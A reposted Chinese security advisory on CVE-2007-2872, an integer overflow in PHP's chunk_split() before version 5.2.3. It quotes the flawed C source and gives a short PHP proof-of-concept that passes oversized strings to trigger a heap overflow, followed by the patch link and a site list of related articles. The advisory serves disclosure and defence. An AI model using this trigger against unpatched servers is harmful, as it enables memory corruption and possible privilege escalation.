PHP5.2下chunk_split()函数整数溢出漏洞 分析


Posted in PHP onJune 06, 2007

受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*来源:Gerhard Wagner

链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

PHP 相关文章推荐
用PHP 4.2书写安全的脚本
Oct 09 PHP
PHP调用三种数据库的方法(2)
Oct 09 PHP
windows xp下安装pear
Dec 02 PHP
PHP调用MySQL的存储过程的实现代码
Aug 12 PHP
php smarty模版引擎中的缓存应用
Dec 02 PHP
PHP5与MySQL数据库操作常用代码 收集
Mar 21 PHP
PHP setcookie指定domain参数后,在IE下设置cookie失效的解决方法
Sep 09 PHP
PHP读取PPT文件的方法
Dec 10 PHP
yii插入数据库防并发的简单代码
May 27 PHP
Laravel框架实现的使用smtp发送邮件功能示例
Mar 12 PHP
PHP实现网站应用微信登录功能详解
Apr 11 PHP
laravel 5.3 单用户登录简单实现方法
Oct 14 PHP
phpMyAdmin下载、安装和使用入门教程
May 31 #PHP
测试您的 PHP 水平的题目
May 30 #PHP
Discuz板块横排显示图片的实现方法
May 28 #PHP
中国站长站 For Dede4.0 采集规则
May 27 #PHP
MySQL GBK→UTF-8编码转换
May 24 #PHP
Win2003服务器安全加固设置--进一步提高服务器安全性
May 23 #PHP
站长助手-网站web在线管理程序 v1.0 下载
May 12 #PHP
You might like
php共享内存段示例分享
2014/01/20 PHP
Yii视图CGridView实现操作按钮定义地址示例
2016/07/14 PHP
PHP通过加锁实现并发情况下抢码功能
2016/08/10 PHP
PHP实现找出链表中环的入口节点
2018/01/16 PHP
ie下动态加态js文件的方法
2011/09/13 Javascript
js控制web打印(局部打印)方法整理
2013/05/29 Javascript
JSON字符串转JSON对象
2015/07/31 Javascript
JavaScript高级程序设计(第三版)学习笔记6、7章
2016/03/11 Javascript
输入框点击时边框变色效果的实现方法
2016/12/26 Javascript
vue如何获取点击事件源的方法
2017/08/10 Javascript
vue.js或js实现中文A-Z排序的方法
2018/03/08 Javascript
[原创]jQuery实现合并/追加数组并去除重复项的方法
2018/04/11 jQuery
vue加载完成后的回调函数方法
2018/09/07 Javascript
ES6知识点整理之数组解构和字符串解构的应用示例
2019/04/17 Javascript
微信小程序获取用户信息并保存登录状态详解
2019/05/10 Javascript
解决qrcode.js生成二维码时必须定义一个空div的问题
2020/07/09 Javascript
解决新建一个vue项目过程中遇到的问题
2020/10/22 Javascript
Python字符编码判断方法分析
2016/07/01 Python
Java实现的执行python脚本工具类示例【使用jython.jar】
2018/03/29 Python
基于DataFrame改变列类型的方法
2018/07/25 Python
对json字符串与python字符串的不同之处详解
2018/12/19 Python
Python实现二叉树的常见遍历操作总结【7种方法】
2019/03/06 Python
django页面跳转问题及注意事项
2019/07/18 Python
Python Sympy计算梯度、散度和旋度的实例
2019/12/06 Python
python 消除 futureWarning问题的解决
2019/12/25 Python
Python ADF 单位根检验 如何查看结果的实现
2020/06/03 Python
python如何查看安装了的模块
2020/06/23 Python
Jupyter Notebook 安装配置与使用详解
2021/01/06 Python
人事主管岗位职责范本
2013/12/04 职场文书
小学班主任评语大全
2014/04/23 职场文书
青年岗位能手事迹材料
2014/12/23 职场文书
怀孕辞职信怎么写
2015/02/28 职场文书
幼儿园园长工作总结2015
2015/05/25 职场文书
2015年秋学期教研工作总结
2015/10/14 职场文书
SpringBoot集成Redis,并自定义对象序列化操作
2021/06/22 Java/Android
sql通过日期判断年龄函数的示例代码
2021/07/16 SQL Server